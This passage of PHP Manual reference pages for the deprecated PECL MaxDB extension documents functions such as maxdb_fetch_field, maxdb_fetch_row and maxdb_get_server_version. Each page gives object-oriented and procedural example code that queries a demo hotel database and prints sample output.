Attribute | Description
name | The name of the column
max_length | The maximum width of the field for the result set.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY name";

if ($result = $maxdb->query($query)) {

   /* Get field information for column 'SurfaceArea' */
   $finfo = $result->fetch_field_direct(1);

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n", $finfo->type);

   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY name";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for column 'cno' */
   $finfo = maxdb_fetch_field_direct($result, 1);

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n", $finfo->type);

   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

See Also

  • maxdb_num_fields() - Get the number of fields in a result
  • maxdb_fetch_field() - Returns the next field in the result set
  • maxdb_fetch_fields() - Returns an array of resources representing the fields in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the next field in the result set

  • « maxdb_fetch_field_direct
  • maxdb_fetch_fields »
  • PHP Manual
  • MaxDB Functions
  • Returns the next field in the result set

maxdb_fetch_field

maxdb_result::fetch_field

(PECL maxdb >= 1.0)

maxdb_fetch_field -- maxdb_result::fetch_field — Returns the next field in the result set

Description

Procedural style

mixed maxdb_fetch_field ( resource $result )

Object oriented style

mixed maxdb_result::fetch_field ( void )

The maxdb_fetch_field() returns the definition of one column of a result set as an resource. Call this function repeatedly to retrieve information about all columns in the result set. maxdb_fetch_field() returns FALSE when no more fields are left.

Return Values

Returns an resource which contains field definition information or FALSE if no field information is available.

Object properties
Property | Description
name | The name of the column
max_length | The maximum width of the field for the result set.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for all columns */
   while ($finfo = $result->fetch_field()) {

       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for all fields */
   while ($finfo = maxdb_fetch_field($result)) {

       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

See Also

  • maxdb_num_fields() - Get the number of fields in a result
  • maxdb_fetch_field_direct() - Fetch meta-data for a single field
  • maxdb_fetch_fields() - Returns an array of resources representing the fields in a result set
  • maxdb_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of resources representing the fields in a result set

  • « maxdb_fetch_field
  • maxdb_fetch_lengths »
  • PHP Manual
  • MaxDB Functions
  • Returns an array of resources representing the fields in a result set

maxdb_fetch_fields

maxdb_result::fetch_fields

(PECL maxdb >= 1.0)

maxdb_fetch_fields -- maxdb_result::fetch_fields — Returns an array of resources representing the fields in a result set

Description

Procedural style

mixed maxdb_fetch_fields ( resource $result )

Object oriented style

mixed maxdb_result::fetch_fields ( void )

This function serves an identical purpose to the maxdb_fetch_field() function with the single difference that, instead of returning one resource at a time for each field, the columns are returned as an array of resources.

Return Values

Returns an array of resources which contains field definition information or FALSE if no field information is available.

Object properties
Property | Description
name | The name of the column
max_length | The maximum width of the field for the result set.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for all columns */
   $finfo = $result->fetch_fields();

   foreach ($finfo as $val) {
       printf("Name:     %s\n", $val->name);
       printf("Table:    %s\n", $val->table);
       printf("max. Len: %d\n", $val->max_length);
       printf("Flags:    %d\n", $val->flags);
       printf("Type:     %d\n\n", $val->type);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for all columns */
   $finfo = maxdb_fetch_fields($result);

   foreach ($finfo as $val) {
       printf("Name:     %s\n", $val->name);
       printf("Table:    %s\n", $val->table);
       printf("max. Len: %d\n", $val->max_length);
       printf("Flags:    %d\n", $val->flags);
       printf("Type:     %d\n\n", $val->type);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

See Also

  • maxdb_num_fields() - Get the number of fields in a result
  • maxdb_fetch_field() - Returns the next field in the result set
  • maxdb_fetch_field_direct() - Fetch meta-data for a single field

User Contributed Notes

There are no user contributed notes for this page.


Returns the lengths of the columns of the current row in the result set

  • « maxdb_fetch_fields
  • maxdb_fetch_object »
  • PHP Manual
  • MaxDB Functions
  • Returns the lengths of the columns of the current row in the result set

maxdb_fetch_lengths

maxdb_result::lengths

(PECL maxdb >= 1.0)

maxdb_fetch_lengths -- maxdb_result::lengths — Returns the lengths of the columns of the current row in the result set

Description

Procedural style

array maxdb_fetch_lengths ( resource $result )

Object oriented style

array $maxdb_result->lengths;

The maxdb_fetch_lengths() function returns an array containing the lengths of every column of the current row within the result set represented by the result parameter. If successful, a numerically indexed array representing the lengths of each column is returned or FALSE on failure.

Return Values

An array of integers representing the size of each column (not including any terminating null characters). FALSE if an error occurred.

maxdb_fetch_lengths() is valid only for the current row of the result set. It returns FALSE if you call it before calling maxdb_fetch_row/array/resource or after retrieving all rows in the result.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT * from hotel.customer WHERE cno = 3000";

if ($result = $maxdb->query($query)) {

   $row = $result->fetch_row();

   /* display column lengths */
   foreach ($result->lengths as $i => $val) {
       printf("Field %2d has Length %2d\n", $i+1, $val);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT * from hotel.customer WHERE cno = 3000";

if ($result = maxdb_query($link, $query)) {

   $row = maxdb_fetch_row($result);

   /* display column lengths */
   foreach (maxdb_fetch_lengths($result) as $i => $val) {
       printf("Field %2d has Length %2d\n", $i+1, $val);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Field  1 has Length  4
Field  2 has Length  3
Field  3 has Length  5
Field  4 has Length  6
Field  5 has Length  5
Field  6 has Length 21

User Contributed Notes

There are no user contributed notes for this page.


Returns the current row of a result set as an object

  • « maxdb_fetch_lengths
  • maxdb_fetch_row »
  • PHP Manual
  • MaxDB Functions
  • Returns the current row of a result set as an object

maxdb_fetch_object

maxdb_result::fetch_object

(PECL maxdb >= 1.0)

maxdb_fetch_object -- maxdb_result::fetch_object — Returns the current row of a result set as an object

Description

Procedural style

object maxdb_fetch_object ( object $result )

Object oriented style

object maxdb_result::fetch_object ( void )

The maxdb_fetch_object() will return the current row result set as an object where the attributes of the object represent the names of the fields found within the result set. If no more rows exist in the current result set, NULL is returned.

Return Values

Returns an object that corresponds to the fetched row or NULL if there are no more rows in resultset.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = $maxdb->query($query)) {

   /* fetch object array */
   while ($obj = $result->fetch_object()) {
       printf ("%s (%s)\n", $obj->NAME, $obj->STATE);
   }

   /* free result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = maxdb_query($link, $query)) {

   /* fetch object array */
   while ($obj = maxdb_fetch_object($result)) {
       printf ("%s (%s)\n", $obj->NAME, $obj->STATE);
   }

   /* free result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

New York (NY)
New York (NY)
Long Island (NY)
Albany (NY)
Washington (DC)
Washington (DC)
Washington (DC)
Silver Spring (MD)
Daytona Beach (FL)
Deerfield Beach (FL)
Clearwater (FL)
Cincinnati (OH)
Detroit (MI)
Rosemont (IL)
Chicago (IL)
Chicago (IL)
New Orleans (LA)
Dallas (TX)
Los Angeles (CA)
Hollywood (CA)
Long Beach (CA)
Palm Springs (CA)
Irvine (CA)
Santa Clara (CA)
Portland (OR)

See Also

  • maxdb_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • maxdb_fetch_assoc() - Fetch a result row as an associative array
  • maxdb_fetch_row() - Get a result row as an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Get a result row as an enumerated array

  • « maxdb_fetch_object
  • maxdb_fetch »
  • PHP Manual
  • MaxDB Functions
  • Get a result row as an enumerated array

maxdb_fetch_row

maxdb_result::fetch_row

(PECL maxdb >= 1.0)

maxdb_fetch_row -- maxdb_result::fetch_row — Get a result row as an enumerated array

Description

Procedural style

mixed maxdb_fetch_row ( resource $result )

Object oriented style

mixed maxdb_result::fetch_row ( void )

Returns an array that corresponds to the fetched row, or NULL if there are no more rows.

maxdb_fetch_row() fetches one row of data from the result set represented by result and returns it as an enumerated array, where each column is stored in an array offset starting from 0 (zero). Each subsequent call to the maxdb_fetch_row() function will return the next row within the result set, or FALSE if there are no more rows.

Return Values

maxdb_fetch_row() returns an array that corresponds to the fetched row or NULL if there are no more rows in result set.

Note: This function sets NULL fields to the PHP NULL value.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = $maxdb->query($query)) {

   /* fetch enumerated array */
   while ($row = $result->fetch_row()) {
       printf ("%s (%s)\n", $row[0], $row[1]);
   }

   /* free result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = maxdb_query($link, $query)) {

   /* fetch enumerated array */
   while ($row = maxdb_fetch_row($result)) {
       printf ("%s (%s)\n", $row[0], $row[1]);
   }

   /* free result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

New York (NY)
New York (NY)
Long Island (NY)
Albany (NY)
Washington (DC)
Washington (DC)
Washington (DC)
Silver Spring (MD)
Daytona Beach (FL)
Deerfield Beach (FL)
Clearwater (FL)
Cincinnati (OH)
Detroit (MI)
Rosemont (IL)
Chicago (IL)
Chicago (IL)
New Orleans (LA)
Dallas (TX)
Los Angeles (CA)
Hollywood (CA)
Long Beach (CA)
Palm Springs (CA)
Irvine (CA)
Santa Clara (CA)
Portland (OR)

See Also

  • maxdb_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • maxdb_fetch_assoc() - Fetch a result row as an associative array
  • maxdb_fetch_resource()

User Contributed Notes

There are no user contributed notes for this page.


Alias of maxdb_stmt_fetch

  • « maxdb_fetch_row
  • maxdb_field_count »
  • PHP Manual
  • MaxDB Functions
  • Alias of maxdb_stmt_fetch

maxdb_fetch

(PECL maxdb 1.0)

maxdb_fetch — Alias of maxdb_stmt_fetch()

Description

This function is an alias of: maxdb_stmt_fetch().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of columns for the most recent query

  • « maxdb_fetch
  • maxdb_field_seek »
  • PHP Manual
  • MaxDB Functions
  • Returns the number of columns for the most recent query

maxdb_field_count

maxdb::field_count

(PECL maxdb >= 1.0)

maxdb_field_count -- maxdb::field_count — Returns the number of columns for the most recent query

Description

Procedural style

int maxdb_field_count ( resource $link )

Object oriented style

int maxdb::field_count ( void )

Returns the number of columns for the most recent query on the connection represented by the link parameter. This function can be useful when using the maxdb_store_result() function to determine if the query should have produced a non-empty result set or not without knowing the nature of the query.

Return Values

An integer representing the number of fields in a result set.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE friends");
maxdb_report (MAXDB_REPORT_ERROR);

$maxdb->query( "CREATE TABLE friends (id int, name varchar(20))");

$maxdb->query( "INSERT INTO friends VALUES (1,'Hartmut')");
$maxdb->query( "INSERT INTO friends VALUES (2, 'Ulf')");

if ($maxdb->field_count()) {
   /* this was a select/show or describe query */
   $result = $maxdb->store_result();

   /* process resultset */
   $row = $result->fetch_row();

   /* free resultset */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE friends");
maxdb_report (MAXDB_REPORT_ERROR);

maxdb_query($link, "CREATE TABLE friends (id int, name varchar(20))");

maxdb_query($link, "INSERT INTO friends VALUES (1,'Hartmut')");
maxdb_query($link, "INSERT INTO friends VALUES (2, 'Ulf')");

if (maxdb_field_count($link)) {
   /* this was a select/show or describe query */
   $result = maxdb_store_result($link);

   /* process resultset */
   $row = maxdb_fetch_row($result);

   /* free resultset */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example produces no output.

User Contributed Notes

There are no user contributed notes for this page.


Set result pointer to a specified field offset

  • « maxdb_field_count
  • maxdb_field_tell »
  • PHP Manual
  • MaxDB Functions
  • Set result pointer to a specified field offset

maxdb_field_seek

maxdb_result::field_seek

(PECL maxdb >= 1.0)

maxdb_field_seek -- maxdb_result::field_seek — Set result pointer to a specified field offset

Description

Procedural style

bool maxdb_field_seek ( resource $result , int $fieldnr )

Object oriented style

bool maxdb_result::field_seek ( int $fieldnr )

Sets the field cursor to the given offset. The next call to maxdb_fetch_field() will retrieve the field definition of the column associated with that offset.

Note:

To seek to the beginning of a row, pass an offset value of zero.

Return Values

maxdb_field_seek() returns previuos value of field cursor.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for 2nd column */
   $result->field_seek(1);
   $finfo = $result->fetch_field();

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n\n", $finfo->type);

   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for 2nd column */
   maxdb_field_seek($result, 1);
   $finfo = maxdb_fetch_field($result);

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n\n", $finfo->type);

   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

See Also

  • maxdb_fetch_field() - Returns the next field in the result set

User Contributed Notes

There are no user contributed notes for this page.


Get current field offset of a result pointer

  • « maxdb_field_seek
  • maxdb_free_result »
  • PHP Manual
  • MaxDB Functions
  • Get current field offset of a result pointer

maxdb_field_tell

maxdb_result::current_field

(PECL maxdb >= 1.0)

maxdb_field_tell -- maxdb_result::current_field — Get current field offset of a result pointer

Description

Procedural style

int maxdb_field_tell ( resource $result )

Object oriented style

int $maxdb_result->current_field;

Returns the position of the field cursor used for the last maxdb_fetch_field() call. This value can be used as an argument to maxdb_field_seek().

Return Values

Returns current offset of field cursor.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for all columns */
   while ($finfo = $result->fetch_field()) {

       /* get fieldpointer offset */
       $currentfield = $result->current_field;

       printf("Column    %d:\n", $currentfield);
       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for all fields */
   while ($finfo = maxdb_fetch_field($result)) {

       /* get fieldpointer offset */
       $currentfield = maxdb_field_tell($result);

       printf("Column    %d:\n", $currentfield);
       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Column    1:
Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

Column    2:
Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

See Also

  • maxdb_fetch_field() - Returns the next field in the result set
  • maxdb_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

There are no user contributed notes for this page.


Frees the memory associated with a result

  • « maxdb_field_tell
  • maxdb_get_client_info »
  • PHP Manual
  • MaxDB Functions
  • Frees the memory associated with a result

maxdb_free_result

maxdb_result::free

(PECL maxdb >= 1.0)

maxdb_free_result -- maxdb_result::free — Frees the memory associated with a result

Description

Procedural style

void maxdb_free_result ( resource $result )

Object oriented style

void maxdb_result::free ( void )

The maxdb_free_result() function frees the memory associated with the result represented by the result parameter, which was allocated by maxdb_query(), maxdb_store_result() or maxdb_use_result().

Note:

You should always free your result with maxdb_free_result(), when your result resource is not needed anymore.

Return Values

This function doesn't return any value.

See Also

  • maxdb_query() - Performs a query on the database
  • maxdb_stmt_store_result() - Transfers a result set from a prepared statement
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


Returns the MaxDB client version as a string

  • « maxdb_free_result
  • maxdb_get_client_version »
  • PHP Manual
  • MaxDB Functions
  • Returns the MaxDB client version as a string

maxdb_get_client_info

(PECL maxdb >= 1.0)

maxdb_get_client_info — Returns the MaxDB client version as a string

Description

string maxdb_get_client_info ( void )

The maxdb_get_client_info() function is used to return a string representing the client version being used in the MaxDB extension.

Return Values

A string that represents the MaxDB client library version

Examples

Example #1 maxdb_get_client_info

<?php

/* We don't need a connection to determine
   the version of MaxDB client library */

printf("Client library version: %s\n", maxdb_get_client_info());
?>

The above example will output something similar to:

Client library version: libSQLDBC <...>

See Also

  • maxdb_get_client_version() - Get MaxDB client info
  • maxdb_get_server_info() - Returns the version of the MaxDB server
  • maxdb_get_server_version() - Returns the version of the MaxDB server as an integer

User Contributed Notes

There are no user contributed notes for this page.


Get MaxDB client info

  • « maxdb_get_client_info
  • maxdb_get_host_info »
  • PHP Manual
  • MaxDB Functions
  • Get MaxDB client info

maxdb_get_client_version

(PECL maxdb >= 1.0)

maxdb_get_client_version — Get MaxDB client info

Description

int maxdb_get_client_version ( void )

Returns client version number as an integer.

Return Values

A number that represents the MaxDB client library version in format: main_version*10000 + minor_version *100 + sub_version. For example, 7.5.0 is returned as 70500.

This is useful to quickly determine the version of the client library to know if some capability exists.

Examples

Example #1 maxdb_get_client_version

<?php

/* We don't need a connection to determine
   the version of MaxDB client library */

printf("Client library version: %d\n", maxdb_get_client_version());
?>

The above example will output something similar to:

Client library version: 7.<...>

See Also

  • maxdb_get_client_info() - Returns the MaxDB client version as a string
  • maxdb_get_server_info() - Returns the version of the MaxDB server
  • maxdb_get_server_version() - Returns the version of the MaxDB server as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns a string representing the type of connection used

  • « maxdb_get_client_version
  • maxdb_get_metadata »
  • PHP Manual
  • MaxDB Functions
  • Returns a string representing the type of connection used

maxdb_get_host_info

maxdb::get_host_info

(PECL maxdb >= 1.0)

maxdb_get_host_info -- maxdb::get_host_info — Returns a string representing the type of connection used

Description

Procedural style

string maxdb_get_host_info ( resource $link )

Object oriented style

string $maxdb->host_info;

The maxdb_get_host_info() function returns a string describing the connection represented by the link parameter is using.

Return Values

A character string representing the server hostname and the connection type.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print host information */
printf("Host info: %s\n", $maxdb->host_info);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print host information */
printf("Host info: %s\n", maxdb_get_host_info($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Host info: localhost

See Also

  • maxdb_get_proto_info() - Returns the version of the MaxDB protocol used

User Contributed Notes

There are no user contributed notes for this page.


Alias of maxdb_stmt_result_metadata

  • « maxdb_get_host_info
  • maxdb_get_proto_info »
  • PHP Manual
  • MaxDB Functions
  • Alias of maxdb_stmt_result_metadata

maxdb_get_metadata

(PECL maxdb 1.0)

maxdb_get_metadata — Alias of maxdb_stmt_result_metadata()

Description

This function is an alias of: maxdb_stmt_result_metadata().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MaxDB protocol used

  • « maxdb_get_metadata
  • maxdb_get_server_info »
  • PHP Manual
  • MaxDB Functions
  • Returns the version of the MaxDB protocol used

maxdb_get_proto_info

maxdb::protocol_version

(PECL maxdb >= 1.0)

maxdb_get_proto_info -- maxdb::protocol_version — Returns the version of the MaxDB protocol used

Description

Procedural style

int maxdb_get_proto_info ( resource $link )

Object oriented style

string $maxdb->protocol_version;

Returns an integer representing the MaxDB protocol version used by the connection represented by the link parameter.

Return Values

Returns an integer representing the protocol version (constant 10).

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print protocol version */
printf("Protocol version: %d\n", $maxdb->protocol_version);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print protocol version */
printf("Protocol version: %d\n", maxdb_get_proto_info($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Protocol version: 10

See Also

  • maxdb_get_host_info() - Returns a string representing the type of connection used

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MaxDB server

  • « maxdb_get_proto_info
  • maxdb_get_server_version »
  • PHP Manual
  • MaxDB Functions
  • Returns the version of the MaxDB server

maxdb_get_server_info

maxdb::server_info

(PECL maxdb >= 1.0)

maxdb_get_server_info -- maxdb::server_info — Returns the version of the MaxDB server

Description

Procedural style

string maxdb_get_server_info ( resource $link )

Object oriented style

string $maxdb->server_info;

Returns a string representing the version of the MaxDB server that the MaxDB extension is connected to (represented by the link parameter).

Return Values

A character string representing the server version.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %s\n", $maxdb->server_info);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %s\n", maxdb_get_server_info($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Server version: Kernel    7<...>

See Also

  • maxdb_get_client_info() - Returns the MaxDB client version as a string
  • maxdb_get_client_version() - Get MaxDB client info
  • maxdb_get_server_version() - Returns the version of the MaxDB server as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MaxDB server as an integer

  • « maxdb_get_server_info
  • maxdb_info »
  • PHP Manual
  • MaxDB Functions
  • Returns the version of the MaxDB server as an integer

maxdb_get_server_version

maxdb::server_version

(PECL maxdb >= 1.0)

maxdb_get_server_version -- maxdb::server_version — Returns the version of the MaxDB server as an integer

Description

Procedural style

int maxdb_get_server_version ( resource $link )

Object oriented style

int $maxdb->server_version;

The maxdb_get_server_version() function returns the version of the server connected to (represented by the link parameter) as an integer.

The form of this version number is main_version * 10000 + minor_version * 100 + sub_version (i.e. version 7.5.0 is 70500).

Return Values

An integer representing the server version.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %d\n", $maxdb->server_version);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %d\n", maxdb_get_server_version($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Server version: 7<...>

See Also

  • maxdb_get_client_info() - Returns the MaxDB client version as a string
  • maxdb_get_client_version() - Get MaxDB client info
  • maxdb_get_server_info() - Returns the version of the MaxDB server

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about the most recently executed query

  • « maxdb_get_server_version
  • maxdb_init »
  • PHP Manual
  • MaxDB Functions
  • Retrieves information about the most recently executed query

maxdb_info

maxdb::info

(PECL maxdb >= 1.0)

maxdb_info -- maxdb::info — Retrieves information about the most recently executed query

Description

Procedural style

string maxdb_info ( resource $link )

Object oriented style

